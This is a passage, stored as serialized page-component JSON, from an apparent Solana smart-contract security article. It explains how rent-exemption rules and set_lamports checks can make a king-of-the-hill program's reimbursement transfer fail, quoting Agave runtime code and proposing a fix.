king.",{"type":24,"tag":25,"props":79113,"children":79114},{},[79115],{"type":29,"value":79116},"...Is our assumption correct?",{"type":24,"tag":62,"props":79118,"children":79120},{"id":79119},"the-bugs-lurking-beneath",[79121],{"type":29,"value":79122},"The Bugs Lurking Beneath",{"type":24,"tag":85,"props":79124,"children":79126},{"id":79125},"bug-1-the-rent-exemption-trap",[79127],{"type":29,"value":79128},"Bug 1: The Rent-Exemption Trap",{"type":24,"tag":25,"props":79130,"children":79131},{},[79132,79134,79139],{"type":29,"value":79133},"On Solana, all accounts must maintain a ",{"type":24,"tag":213,"props":79135,"children":79136},{},[79137],{"type":29,"value":79138},"minimum balance",{"type":29,"value":79140}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":24,"tag":97,"props":79142,"children":79143},{},[79144,79159],{"type":24,"tag":101,"props":79145,"children":79146},{},[79147,79152,79153],{"type":24,"tag":213,"props":79148,"children":79149},{},[79150],{"type":29,"value":79151},"Uninitialized",{"type":29,"value":23028},{"type":24,"tag":135,"props":79154,"children":79156},{"className":79155},[],[79157],{"type":29,"value":79158},"lamports = 0",{"type":24,"tag":101,"props":79160,"children":79161},{},[79162,79167,79168],{"type":24,"tag":213,"props":79163,"children":79164},{},[79165],{"type":29,"value":79166},"Initialized",{"type":29,"value":23028},{"type":24,"tag":135,"props":79169,"children":79171},{"className":79170},[],[79172],{"type":29,"value":79173},"lamports >= rent-exempt threshold",{"type":24,"tag":25,"props":79175,"children":79176},{},[79177,79179,79184],{"type":29,"value":79178},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":24,"tag":213,"props":79180,"children":79181},{},[79182],{"type":29,"value":79183},"account metadata",{"type":29,"value":79185}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":24,"tag":25,"props":79187,"children":79188},{},[79189,79191,79197],{"type":29,"value":79190},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":24,"tag":135,"props":79192,"children":79194},{"className":79193},[],[79195],{"type":29,"value":79196},"data.len() == 0",{"type":29,"value":79198}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":24,"tag":25,"props":79200,"children":79201},{},[79202,79204,79210],{"type":29,"value":79203},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":24,"tag":32,"props":79205,"children":79208},{"href":79206,"rel":79207},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[36],[79209],{"type":29,"value":55251},{"type":29,"value":41},{"type":24,"tag":261,"props":79212,"children":79214},{"className":10718,"code":79213,"language":10717,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[79215],{"type":24,"tag":135,"props":79216,"children":79217},{"__ignoreMap":7},[79218,79302,79319,79365,79385,79406,79427,79442,79459,79503,79522,79543,79564,79580,79588,79621,79628,79635,79642,79649],{"type":24,"tag":271,"props":79219,"children":79220},{"class":273,"line":274},[79221,79226,79231,79235,79239,79243,79247,79252,79256,79260,79265,79269,79274,79278,79282,79286,79290,79294,79298],{"type":24,"tag":271,"props":79222,"children":79223},{"style":278},[79224],{"type":29,"value":79225}," fn",{"type":24,"tag":271,"props":79227,"children":79228},{"style":598},[79229],{"type":29,"value":79230}," transition_allowed",{"type":24,"tag":271,"props":79232,"children":79233},{"style":288},[79234],{"type":29,"value":606},{"type":24,"tag":271,"props":79236,"children":79237},{"style":624},[79238],{"type":29,"value":1137},{"type":24,"tag":271,"props":79240,"children":79241},{"style":278},[79242],{"type":29,"value":21414},{"type":24,"tag":271,"props":79244,"children":79245},{"style":288},[79246],{"type":29,"value":158},{"type":24,"tag":271,"props":79248,"children":79249},{"style":630},[79250],{"type":29,"value":79251},"pre_rent_state",{"type":24,"tag":271,"props":79253,"children":79254},{"style":624},[79255],{"type":29,"value":12210},{"type":24,"tag":271,"props":79257,"children":79258},{"style":624},[79259],{"type":29,"value":14858},{"type":24,"tag":271,"props":79261,"children":79262},{"style":3887},[79263],{"type":29,"value":79264},"RentState",{"type":24,"tag":271,"props":79266,"children":79267},{"style":288},[79268],{"type":29,"value":158},{"type":24,"tag":271,"props":79270,"children":79271},{"style":630},[79272],{"type":29,"value":79273},"post_rent_state",{"type":24,"tag":271,"props":79275,"children":79276},{"style":624},[79277],{"type":29,"value":12210},{"type":24,"tag":271,"props":79279,"children":79280},{"style":624},[79281],{"type":29,"value":14858},{"type":24,"tag":271,"props":79283,"children":79284},{"style":3887},[79285],{"type":29,"value":79264},{"type":24,"tag":271,"props":79287,"children":79288},{"style":288},[79289],{"type":29,"value":8823},{"type":24,"tag":271,"props":79291,"children":79292},{"style":624},[79293],{"type":29,"value":786},{"type":24,"tag":271,"props":79295,"children":79296},{"style":3887},[79297],{"type":29,"value":19753},{"type":24,"tag":271,"props":79299,"children":79300},{"style":288},[79301],{"type":29,"value":7145},{"type":24,"tag":271,"props":79303,"children":79304},{"class":273,"line":284},[79305,79310,79315],{"type":24,"tag":271,"props":79306,"children":79307},{"style":749},[79308],{"type":29,"value":79309}," match",{"type":24,"tag":271,"props":79311,"children":79312},{"style":630},[79313],{"type":29,"value":79314}," post_rent_state",{"type":24,"tag":271,"props":79316,"children":79317},{"style":288},[79318],{"type":29,"value":7145},{"type":24,"tag":271,"props":79320,"children":79321},{"class":273,"line":294},[79322,79327,79331,79335,79339,79344,79348,79353,79357,79361],{"type":24,"tag":271,"props":79323,"children":79324},{"style":3887},[79325],{"type":29,"value":79326}," RentState",{"type":24,"tag":271,"props":79328,"children":79329},{"style":624},[79330],{"type":29,"value":11207},{"type":24,"tag":271,"props":79332,"children":79333},{"style":3887},[79334],{"type":29,"value":79151},{"type":24,"tag":271,"props":79336,"children":79337},{"style":624},[79338],{"type":29,"value":7499},{"type":24,"tag":271,"props":79340,"children":79341},{"style":3887},[79342],{"type":29,"value":79343}," RentState",{"type":24,"tag":271,"props":79345,"children":79346},{"style":624},[79347],{"type":29,"value":11207},{"type":24,"tag":271,"props":79349,"children":79350},{"style":3887},[79351],{"type":29,"value":79352},"RentExempt",{"type":24,"tag":271,"props":79354,"children":79355},{"style":624},[79356],{"type":29,"value":35429},{"type":24,"tag":271,"props":79358,"children":79359},{"style":278},[79360],{"type":29,"value":1717},{"type":24,"tag":271,"props":79362,"children":79363},{"style":288},[79364],{"type":29,"value":638},{"type":24,"tag":271,"props":79366,"children":79367},{"class":273,"line":303},[79368,79372,79376,79381],{"type":24,"tag":271,"props":79369,"children":79370},{"style":3887},[79371],{"type":29,"value":79326},{"type":24,"tag":271,"props":79373,"children":79374},{"style":624},[79375],{"type":29,"value":11207},{"type":24,"tag":271,"props":79377,"children":79378},{"style":3887},[79379],{"type":29,"value":79380},"RentPaying",{"type":24,"tag":271,"props":79382,"children":79383},{"style":288},[79384],{"type":29,"value":7145},{"type":24,"tag":271,"props":79386,"children":79387},{"class":273,"line":312},[79388,79393,79397,79402],{"type":24,"tag":271,"props":79389,"children":79390},{"style":630},[79391],{"type":29,"value":79392}," data_size",{"type":24,"tag":271,"props":79394,"children":79395},{"style":624},[79396],{"type":29,"value":12210},{"type":24,"tag":271,"props":79398,"children":79399},{"style":630},[79400],{"type":29,"value":79401}," post_data_size",{"type":24,"tag":271,"props":79403,"children":79404},{"style":288},[79405],{"type":29,"value":638},{"type":24,"tag":271,"props":79407,"children":79408},{"class":273,"line":321},[79409,79414,79418,79423],{"type":24,"tag":271,"props":79410,"children":79411},{"style":630},[79412],{"type":29,"value":79413}," lamports",{"type":24,"tag":271,"props":79415,"children":79416},{"style":624},[79417],{"type":29,"value":12210},{"type":24,"tag":271,"props":79419,"children":79420},{"style":630},[79421],{"type":29,"value":79422}," post_lamports",{"type":24,"tag":271,"props":79424,"children":79425},{"style":288},[79426],{"type":29,"value":638},{"type":24,"tag":271,"props":79428,"children":79429},{"class":273,"line":330},[79430,79434,79438],{"type":24,"tag":271,"props":79431,"children":79432},{"style":288},[79433],{"type":29,"value":77382},{"type":24,"tag":271,"props":79435,"children":79436},{"style":624},[79437],{"type":29,"value":22519},{"type":24,"tag":271,"props":79439,"children":79440},{"style":288},[79441],{"type":29,"value":7145},{"type":24,"tag":271,"props":79443,"children":79444},{"class":273,"line":339},[79445,79450,79455],{"type":24,"tag":271,"props":79446,"children":79447},{"style":749},[79448],{"type":29,"value":79449}," match",{"type":24,"tag":271,"props":79451,"children":79452},{"style":630},[79453],{"type":29,"value":79454}," pre_rent_state",{"type":24,"tag":271,"props":79456,"children":79457},{"style":288},[79458],{"type":29,"value":7145},{"type":24,"tag":271,"props":79460,"children":79461},{"class":273,"line":347},[79462,79467,79471,79475,79479,79483,79487,79491,79495,79499],{"type":24,"tag":271,"props":79463,"children":79464},{"style":3887},[79465],{"type":29,"value":79466}," RentState",{"type":24,"tag":271,"props":79468,"children":79469},{"style":624},[79470],{"type":29,"value":11207},{"type":24,"tag":271,"props":79472,"children":79473},{"style":3887},[79474],{"type":29,"value":79151},{"type":24,"tag":271,"props":79476,"children":79477},{"style":624},[79478],{"type":29,"value":7499},{"type":24,"tag":271,"props":79480,"children":79481},{"style":3887},[79482],{"type":29,"value":79343},{"type":24,"tag":271,"props":79484,"children":79485},{"style":624},[79486],{"type":29,"value":11207},{"type":24,"tag":271,"props":79488,"children":79489},{"style":3887},[79490],{"type":29,"value":79352},{"type":24,"tag":271,"props":79492,"children":79493},{"style":624},[79494],{"type":29,"value":35429},{"type":24,"tag":271,"props":79496,"children":79497},{"style":278},[79498],{"type":29,"value":1877},{"type":24,"tag":271,"props":79500,"children":79501},{"style":288},[79502],{"type":29,"value":638},{"type":24,"tag":271,"props":79504,"children":79505},{"class":273,"line":356},[79506,79510,79514,79518],{"type":24,"tag":271,"props":79507,"children":79508},{"style":3887},[79509],{"type":29,"value":79466},{"type":24,"tag":271,"props":79511,"children":79512},{"style":624},[79513],{"type":29,"value":11207},{"type":24,"tag":271,"props":79515,"children":79516},{"style":3887},[79517],{"type":29,"value":79380},{"type":24,"tag":271,"props":79519,"children":79520},{"style":288},[79521],{"type":29,"value":7145},{"type":24,"tag":271,"props":79523,"children":79524},{"class":273,"line":365},[79525,79530,79534,79539],{"type":24,"tag":271,"props":79526,"children":79527},{"style":630},[79528],{"type":29,"value":79529}," data_size",{"type":24,"tag":271,"props":79531,"children":79532},{"style":624},[79533],{"type":29,"value":12210},{"type":24,"tag":271,"props":79535,"children":79536},{"style":630},[79537],{"type":29,"value":79538}," pre_data_size",{"type":24,"tag":271,"props":79540,"children":79541},{"style":288},[79542],{"type":29,"value":638},{"type":24,"tag":271,"props":79544,"children":79545},{"class":273,"line":374},[79546,79551,79555,79560],{"type":24,"tag":271,"props":79547,"children":79548},{"style":630},[79549],{"type":29,"value":79550}," lamports",{"type":24,"tag":271,"props":79552,"children":79553},{"style":624},[79554],{"type":29,"value":12210},{"type":24,"tag":271,"props":79556,"children":79557},{"style":630},[79558],{"type":29,"value":79559}," pre_lamports",{"type":24,"tag":271,"props":79561,"children":79562},{"style":288},[79563],{"type":29,"value":638},{"type":24,"tag":271,"props":79565,"children":79566},{"class":273,"line":384},[79567,79572,79576],{"type":24,"tag":271,"props":79568,"children":79569},{"style":288},[79570],{"type":29,"value":79571}," } ",{"type":24,"tag":271,"props":79573,"children":79574},{"style":624},[79575],{"type":29,"value":22519},{"type":24,"tag":271,"props":79577,"children":79578},{"style":288},[79579],{"type":29,"value":7145},{"type":24,"tag":271,"props":79581,"children":79582},{"class":273,"line":393},[79583],{"type":24,"tag":271,"props":79584,"children":79585},{"style":2058},[79586],{"type":29,"value":79587}," // Cannot remain RentPaying if resized or credited.\n",{"type":24,"tag":271,"props":79589,"children":79590},{"class":273,"line":402},[79591,79596,79600,79604,79608,79612,79616],{"type":24,"tag":271,"props":79592,"children":79593},{"style":630},[79594],{"type":29,"value":79595}," post_data_size",{"type":24,"tag":271,"props":79597,"children":79598},{"style":624},[79599],{"type":29,"value":1031},{"type":24,"tag":271,"props":79601,"children":79602},{"style":630},[79603],{"type":29,"value":79538},{"type":24,"tag":271,"props":79605,"children":79606},{"style":624},[79607],{"type":29,"value":989},{"type":24,"tag":271,"props":79609,"children":79610},{"style":630},[79611],{"type":29,"value":79422},{"type":24,"tag":271,"props":79613,"children":79614},{"style":624},[79615],{"type":29,"value":15912},{"type":24,"tag":271,"props":79617,"children":79618},{"style":630},[79619],{"type":29,"value":79620}," pre_lamports\n",{"type":24,"tag":271,"props":79622,"children":79623},{"class":273,"line":411},[79624],{"type":24,"tag":271,"props":79625,"children":79626},{"style":288},[79627],{"type":29,"value":77851},{"type":24,"tag":271,"props":79629,"children":79630},{"class":273,"line":420},[79631],{"type":24,"tag":271,"props":79632,"children":79633},{"style":288},[79634],{"type":29,"value":77859},{"type":24,"tag":271,"props":79636,"children":79637},{"class":273,"line":429},[79638],{"type":24,"tag":271,"props":79639,"children":79640},{"style":288},[79641],{"type":29,"value":8554},{"type":24,"tag":271,"props":79643,"children":79644},{"class":273,"line":438},[79645],{"type":24,"tag":271,"props":79646,"children":79647},{"style":288},[79648],{"type":29,"value":7574},{"type":24,"tag":271,"props":79650,"children":79651},{"class":273,"line":447},[79652],{"type":24,"tag":271,"props":79653,"children":79654},{"style":288},[79655],{"type":29,"value":4385},{"type":24,"tag":25,"props":79657,"children":79658},{},[79659],{"type":29,"value":79660},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":24,"tag":261,"props":79662,"children":79664},{"className":11964,"code":79663,"language":11963,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[79665],{"type":24,"tag":135,"props":79666,"children":79667},{"__ignoreMap":7},[79668,79684],{"type":24,"tag":271,"props":79669,"children":79670},{"class":273,"line":274},[79671,79675,79680],{"type":24,"tag":271,"props":79672,"children":79673},{"style":598},[79674],{"type":29,"value":10616},{"type":24,"tag":271,"props":79676,"children":79677},{"style":378},[79678],{"type":29,"value":79679}," rent",{"type":24,"tag":271,"props":79681,"children":79682},{"style":477},[79683],{"type":29,"value":31954},{"type":24,"tag":271,"props":79685,"children":79686},{"class":273,"line":284},[79687,79692,79697,79702],{"type":24,"tag":271,"props":79688,"children":79689},{"style":598},[79690],{"type":29,"value":79691},"Rent-exempt",{"type":24,"tag":271,"props":79693,"children":79694},{"style":378},[79695],{"type":29,"value":79696}," minimum:",{"type":24,"tag":271,"props":79698,"children":79699},{"style":477},[79700],{"type":29,"value":79701}," 0.00089088",{"type":24,"tag":271,"props":79703,"children":79704},{"style":378},[79705],{"type":29,"value":79706}," SOL\n",{"type":24,"tag":26585,"props":79708,"children":79710},{"id":79709},"fix-1-only-reimburse-if-rent-exempt",[79711],{"type":29,"value":79712},"Fix 1: Only Reimburse if Rent-Exempt",{"type":24,"tag":25,"props":79714,"children":79715},{},[79716],{"type":29,"value":79717},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":24,"tag":261,"props":79719,"children":79721},{"className":263,"code":79720,"language":265,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[79722],{"type":24,"tag":135,"props":79723,"children":79724},{"__ignoreMap":7},[79725,79733,79741,79749,79757,79765,79773,79781,79789,79797],{"type":24,"tag":271,"props":79726,"children":79727},{"class":273,"line":274},[79728],{"type":24,"tag":271,"props":79729,"children":79730},{"style":288},[79731],{"type":29,"value":79732},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":24,"tag":271,"props":79734,"children":79735},{"class":273,"line":284},[79736],{"type":24,"tag":271,"props":79737,"children":79738},{"style":477},[79739],{"type":29,"value":79740},"+let rent = Rent::get()?;\n",{"type":24,"tag":271,"props":79742,"children":79743},{"class":273,"line":294},[79744],{"type":24,"tag":271,"props":79745,"children":79746},{"style":477},[79747],{"type":29,"value":79748},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":24,"tag":271,"props":79750,"children":79751},{"class":273,"line":303},[79752],{"type":24,"tag":271,"props":79753,"children":79754},{"style":477},[79755],{"type":29,"value":79756},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":24,"tag":271,"props":79758,"children":79759},{"class":273,"line":312},[79760],{"type":24,"tag":271,"props":79761,"children":79762},{"style":288},[79763],{"type":29,"value":79764}," transfer_from_pda(\n",{"type":24,"tag":271,"props":79766,"children":79767},{"class":273,"line":321},[79768],{"type":24,"tag":271,"props":79769,"children":79770},{"style":288},[79771],{"type":29,"value":79772}," &ctx.accounts.throne.to_account_info(),\n",{"type":24,"tag":271,"props":79774,"children":79775},{"class":273,"line":330},[79776],{"type":24,"tag":271,"props":79777,"children":79778},{"style":288},[79779],{"type":29,"value":79780}," &ctx.accounts.old_king,\n",{"type":24,"tag":271,"props":79782,"children":79783},{"class":273,"line":339},[79784],{"type":24,"tag":271,"props":79785,"children":79786},{"style":288},[79787],{"type":29,"value":79788}," to_reimburse,\n",{"type":24,"tag":271,"props":79790,"children":79791},{"class":273,"line":347},[79792],{"type":24,"tag":271,"props":79793,"children":79794},{"style":288},[79795],{"type":29,"value":79796}," )?;\n",{"type":24,"tag":271,"props":79798,"children":79799},{"class":273,"line":356},[79800],{"type":24,"tag":271,"props":79801,"children":79802},{"style":477},[79803],{"type":29,"value":79804},"+}\n",{"type":24,"tag":25,"props":79806,"children":79807},{},[79808],{"type":29,"value":79809},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":24,"tag":85,"props":79811,"children":79813},{"id":79812},"bug-2-writable-but-untouchable-set_lamports-fails",[79814,79816,79822],{"type":29,"value":79815},"Bug 2: Writable but Untouchable — ",{"type":24,"tag":135,"props":79817,"children":79819},{"className":79818},[],[79820],{"type":29,"value":79821},"set_lamports",{"type":29,"value":79823}," Fails",{"type":24,"tag":25,"props":79825,"children":79826},{},[79827,79829,79836],{"type":29,"value":79828},"Let's look at ",{"type":24,"tag":32,"props":79830,"children":79833},{"href":79831,"rel":79832},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[36],[79834],{"type":29,"value":79835},"BorrowedAccount::set_lamports",{"type":29,"value":41},{"type":24,"tag":261,"props":79838,"children":79840},{"className":10718,"code":79839,"language":10717,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[79841],{"type":24,"tag":135,"props":79842,"children":79843},{"__ignoreMap":7},[79844,79852,79873,79945,79953,80012,80044,80051,80059,80087,80119,80126,80134,80158,80190,80197,80205,80240,80256,80263,80291,80326,80337,80344,80351,80359,80378,80386,80426,80438,80450,80462,80493],{"type":24,"tag":271,"props":79845,"children":79846},{"class":273,"line":274},[79847],{"type":24,"tag":271,"props":79848,"children":79849},{"style":2058},[79850],{"type":29,"value":79851},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":24,"tag":271,"props":79853,"children":79854},{"class":273,"line":284},[79855,79860,79864,79869],{"type":24,"tag":271,"props":79856,"children":79857},{"style":288},[79858],{"type":29,"value":79859},"#[cfg(not(target_os ",{"type":24,"tag":271,"props":79861,"children":79862},{"style":624},[79863],{"type":29,"value":762},{"type":24,"tag":271,"props":79865,"children":79866},{"style":378},[79867],{"type":29,"value":79868}," \"solana\"",{"type":24,"tag":271,"props":79870,"children":79871},{"style":288},[79872],{"type":29,"value":28296},{"type":24,"tag":271,"props":79874,"children":79875},{"class":273,"line":294},[79876,79880,79884,79889,79893,79897,79901,79905,79909,79913,79917,79921,79925,79929,79933,79937,79941],{"type":24,"tag":271,"props":79877,"children":79878},{"style":278},[79879],{"type":29,"value":21391},{"type":24,"tag":271,"props":79881,"children":79882},{"style":278},[79883],{"type":29,"value":21396},{"type":24,"tag":271,"props":79885,"children":79886},{"style":598},[79887],{"type":29,"value":79888}," set_lamports",{"type":24,"tag":271,"props":79890,"children":79891},{"style":288},[79892],{"type":29,"value":606},{"type":24,"tag":271,"props":79894,"children":79895},{"style":624},[79896],{"type":29,"value":1137},{"type":24,"tag":271,"props":79898,"children":79899},{"style":278},[79900],{"type":29,"value":11448},{"type":24,"tag":271,"props":79902,"children":79903},{"style":278},[79904],{"type":29,"value":21497},{"type":24,"tag":271,"props":79906,"children":79907},{"style":288},[79908],{"type":29,"value":158},{"type":24,"tag":271,"props":79910,"children":79911},{"style":630},[79912],{"type":29,"value":23209},{"type":24,"tag":271,"props":79914,"children":79915},{"style":624},[79916],{"type":29,"value":12210},{"type":24,"tag":271,"props":79918,"children":79919},{"style":3887},[79920],{"type":29,"value":13576},{"type":24,"tag":271,"props":79922,"children":79923},{"style":288},[79924],{"type":29,"value":8823},{"type":24,"tag":271,"props":79926,"children":79927},{"style":624},[79928],{"type":29,"value":786},{"type":24,"tag":271,"props":79930,"children":79931},{"style":3887},[79932],{"type":29,"value":21462},{"type":24,"tag":271,"props":79934,"children":79935},{"style":288},[79936],{"type":29,"value":21467},{"type":24,"tag":271,"props":79938,"children":79939},{"style":3887},[79940],{"type":29,"value":23455},{"type":24,"tag":271,"props":79942,"children":79943},{"style":288},[79944],{"type":29,"value":14997},{"type":24,"tag":271,"props":79946,"children":79947},{"class":273,"line":303},[79948],{"type":24,"tag":271,"props":79949,"children":79950},{"style":2058},[79951],{"type":29,"value":79952}," // An account not owned by the program cannot have its balance decrease\n",{"type":24,"tag":271,"props":79954,"children":79955},{"class":273,"line":312},[79956,79960,79964,79968,79972,79977,79981,79986,79991,79995,79999,80003,80008],{"type":24,"tag":271,"props":79957,"children":79958},{"style":749},[79959],{"type":29,"value":5025},{"type":24,"tag":271,"props":79961,"children":79962},{"style":624},[79963],{"type":29,"value":20564},{"type":24,"tag":271,"props":79965,"children":79966},{"style":278},[79967],{"type":29,"value":21414},{"type":24,"tag":271,"props":79969,"children":79970},{"style":624},[79971],{"type":29,"value":41},{"type":24,"tag":271,"props":79973,"children":79974},{"style":598},[79975],{"type":29,"value":79976},"is_owned_by_current_program",{"type":24,"tag":271,"props":79978,"children":79979},{"style":288},[79980],{"type":29,"value":21742},{"type":24,"tag":271,"props":79982,"children":79983},{"style":624},[79984],{"type":29,"value":79985},"&&",{"type":24,"tag":271,"props":79987,"children":79988},{"style":630},[79989],{"type":29,"value":79990}," lamports",{"type":24,"tag":271,"props":79992,"children":79993},{"style":624},[79994],{"type":29,"value":16432},{"type":24,"tag":271,"props":79996,"children":79997},{"style":278},[79998],{"type":29,"value":21497},{"type":24,"tag":271,"props":80000,"children":80001},{"style":624},[80002],{"type":29,"value":41},{"type":24,"tag":271,"props":80004,"children":80005},{"style":598},[80006],{"type":29,"value":80007},"get_lamports",{"type":24,"tag":271,"props":80009,"children":80010},{"style":288},[80011],{"type":29,"value":23434},{"type":24,"tag":271,"props":80013,"children":80014},{"class":273,"line":321},[80015,80019,80023,80027,80031,80035,80040],{"type":24,"tag":271,"props":80016,"children":80017},{"style":749},[80018],{"type":29,"value":8905},{"type":24,"tag":271,"props":80020,"children":80021},{"style":3887},[80022],{"type":29,"value":23446},{"type":24,"tag":271,"props":80024,"children":80025},{"style":288},[80026],{"type":29,"value":606},{"type":24,"tag":271,"props":80028,"children":80029},{"style":3887},[80030],{"type":29,"value":23455},{"type":24,"tag":271,"props":80032,"children":80033},{"style":624},[80034],{"type":29,"value":11207},{"type":24,"tag":271,"props":80036,"children":80037},{"style":3887},[80038],{"type":29,"value":80039},"ExternalAccountLamportSpend",{"type":24,"tag":271,"props":80041,"children":80042},{"style":288},[80043],{"type":29,"value":1155},{"type":24,"tag":271,"props":80045,"children":80046},{"class":273,"line":330},[80047],{"type":24,"tag":271,"props":80048,"children":80049},{"style":288},[80050],{"type":29,"value":4385},{"type":24,"tag":271,"props":80052,"children":80053},{"class":273,"line":339},[80054],{"type":24,"tag":271,"props":80055,"children":80056},{"style":2058},[80057],{"type":29,"value":80058}," // The balance of read-only may not change\n",{"type":24,"tag":271,"props":80060,"children":80061},{"class":273,"line":347},[80062,80066,80070,80074,80078,80083],{"type":24,"tag":271,"props":80063,"children":80064},{"style":749},[80065],{"type":29,"value":5025},{"type":24,"tag":271,"props":80067,"children":80068},{"style":624},[80069],{"type":29,"value":20564},{"type":24,"tag":271,"props":80071,"children":80072},{"style":278},[80073],{"type":29,"value":21414},{"type":24,"tag":271,"props":80075,"children":80076},{"style":624},[80077],{"type":29,"value":41},{"type":24,"tag":271,"props":80079,"children":80080},{"style":598},[80081],{"type":29,"value":80082},"is_writable",{"type":24,"tag":271,"props":80084,"children":80085},{"style":288},[80086],{"type":29,"value":23434},{"type":24,"tag":271,"props":80088,"children":80089},{"class":273,"line":356},[80090,80094,80098,80102,80106,80110,80115],{"type":24,"tag":271,"props":80091,"children":80092},{"style":749},[80093],{"type":29,"value":8905},{"type":24,"tag":271,"props":80095,"children":80096},{"style":3887},[80097],{"type":29,"value":23446},{"type":24,"tag":271,"props":80099,"children":80100},{"style":288},[80101],{"type":29,"value":606},{"type":24,"tag":271,"props":80103,"children":80104},{"style":3887},[80105],{"type":29,"value":23455},{"type":24,"tag":271,"props":80107,"children":80108},{"style":624},[80109],{"type":29,"value":11207},{"type":24,"tag":271,"props":80111,"children":80112},{"style":3887},[80113],{"type":29,"value":80114},"ReadonlyLamportChange",{"type":24,"tag":271,"props":80116,"children":80117},{"style":288},[80118],{"type":29,"value":1155},{"type":24,"tag":271,"props":80120,"children":80121},{"class":273,"line":365},[80122],{"type":24,"tag":271,"props":80123,"children":80124},{"style":288},[80125],{"type":29,"value":4385},{"type":24,"tag":271,"props":80127,"children":80128},{"class":273,"line":374},[80129],{"type":24,"tag":271,"props":80130,"children":80131},{"style":2058},[80132],{"type":29,"value":80133}," // The balance of executable accounts may not change\n",{"type":24,"tag":271,"props":80135,"children":80136},{"class":273,"line":384},[80137,80141,80145,80149,80154],{"type":24,"tag":271,"props":80138,"children":80139},{"style":749},[80140],{"type":29,"value":5025},{"type":24,"tag":271,"props":80142,"children":80143},{"style":278},[80144],{"type":29,"value":21497},{"type":24,"tag":271,"props":80146,"children":80147},{"style":624},[80148],{"type":29,"value":41},{"type":24,"tag":271,"props":80150,"children":80151},{"style":598},[80152],{"type":29,"value":80153},"is_executable_internal",{"type":24,"tag":271,"props":80155,"children":80156},{"style":288},[80157],{"type":29,"value":23434},{"type":24,"tag":271,"props":80159,"children":80160},{"class":273,"line":393},[80161,80165,80169,80173,80177,80181,80186],{"type":24,"tag":271,"props":80162,"children":80163},{"style":749},[80164],{"type":29,"value":8905},{"type":24,"tag":271,"props":80166,"children":80167},{"style":3887},[80168],{"type":29,"value":23446},{"type":24,"tag":271,"props":80170,"children":80171},{"style":288},[80172],{"type":29,"value":606},{"type":24,"tag":271,"props":80174,"children":80175},{"style":3887},[80176],{"type":29,"value":23455},{"type":24,"tag":271,"props":80178,"children":80179},{"style":624},[80180],{"type":29,"value":11207},{"type":24,"tag":271,"props":80182,"children":80183},{"style":3887},[80184],{"type":29,"value":80185},"ExecutableLamportChange",{"type":24,"tag":271,"props":80187,"children":80188},{"style":288},[80189],{"type":29,"value":1155},{"type":24,"tag":271,"props":80191,"children":80192},{"class":273,"line":402},[80193],{"type":24,"tag":271,"props":80194,"children":80195},{"style":288},[80196],{"type":29,"value":4385},{"type":24,"tag":271,"props":80198,"children":80199},{"class":273,"line":411},[80200],{"type":24,"tag":271,"props":80201,"children":80202},{"style":2058},[80203],{"type":29,"value":80204}," // don't touch the account if the lamports do not 